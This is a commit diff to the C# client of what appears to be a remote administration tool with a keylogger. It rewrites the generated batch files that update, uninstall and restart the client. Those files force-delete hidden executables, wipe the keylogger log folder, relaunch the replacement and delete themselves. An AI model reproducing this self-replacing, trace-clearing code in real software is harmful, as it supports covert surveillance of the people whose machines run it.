Improved update/uninstall/restart batch files

This commit is contained in:
MaxXor 2016-06-26 21:27:27 +02:00
parent b8b64ef942
commit 6863e6d1bd
2 changed files with 19 additions and 71 deletions

View File

@ -1,7 +1,6 @@
using System;
using System.IO;
using System.Text;
using xClient.Config;
using xClient.Core.Cryptography;
using xClient.Core.Data;
using xClient.Core.Utilities;
@ -54,18 +53,13 @@ namespace xClient.Core.Helper
{
string batchFile = GetTempFilePath(".bat");
string uninstallBatch = (isFileHidden)
? "@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 10 localhost > nul" + "\n" +
"del /A:H " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"del " + "\"" + batchFile + "\""
: "@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 10 localhost > nul" + "\n" +
"del " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"del " + "\"" + batchFile + "\""
;
string uninstallBatch =
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 10 localhost > nul" + "\n" +
"del /a /q /f " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"rmdir /q /s " + "\"" + Keylogger.LogDirectory + "\"" + "\n" +
"del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, uninstallBatch);
return batchFile;
@ -82,24 +76,16 @@ namespace xClient.Core.Helper
{
string batchFile = GetTempFilePath(".bat");
string uninstallBatch = (isFileHidden)
? "@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 10 localhost > nul" + "\n" +
"del /A:H " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"move " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"del " + "\"" + batchFile + "\""
: "@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 10 localhost > nul" + "\n" +
"del " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"move " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"del " + "\"" + batchFile + "\""
;
string updateBatch =
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 10 localhost > nul" + "\n" +
"del /a /q /f " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"move /y " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, uninstallBatch);
File.WriteAllText(batchFile, updateBatch);
return batchFile;
}
catch (Exception)
@ -114,14 +100,14 @@ namespace xClient.Core.Helper
{
string batchFile = GetTempFilePath(".bat");
string uninstallBatch =
string restartBatch =
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 10 localhost > nul" + "\n" +
"start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
"del " + "\"" + batchFile + "\"";
"del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, uninstallBatch);
File.WriteAllText(batchFile, restartBatch);
return batchFile;
}
@ -131,22 +117,6 @@ namespace xClient.Core.Helper
}
}
public static bool ClearReadOnly(string filePath)
{
try
{
FileInfo fi = new FileInfo(filePath);
if (!fi.Exists) return false;
if (fi.IsReadOnly)
fi.IsReadOnly = false;
return true;
}
catch
{
return false;
}
}
/// <summary>
/// Appends text to a log file.
/// </summary>

View File

@ -1,11 +1,8 @@
using System;
using System.Diagnostics;
using System.IO;
using xClient.Config;
using xClient.Core.Data;
using xClient.Core.Helper;
using xClient.Core.Networking;
using xClient.Core.Utilities;
namespace xClient.Core.Installation
{
@ -15,14 +12,9 @@ namespace xClient.Core.Installation
{
try
{
RemoveExistingLogs();
if (Settings.STARTUP)
Startup.RemoveFromStartup();
if (!FileHelper.ClearReadOnly(ClientData.CurrentPath))
throw new Exception("Could not clear read-only attribute");
string batchFile = FileHelper.CreateUninstallBatch(Settings.INSTALL && Settings.HIDEFILE);
if (string.IsNullOrEmpty(batchFile))
@ -43,19 +35,5 @@ namespace xClient.Core.Installation
new Packets.ClientPackets.SetStatus(string.Format("Uninstallation failed: {0}", ex.Message)).Execute(client);
}
}
public static void RemoveExistingLogs()
{
if (Directory.Exists(Keylogger.LogDirectory)) // try to delete Logs from Keylogger
{
try
{
Directory.Delete(Keylogger.LogDirectory, true);
}
catch
{
}
}
}
}
}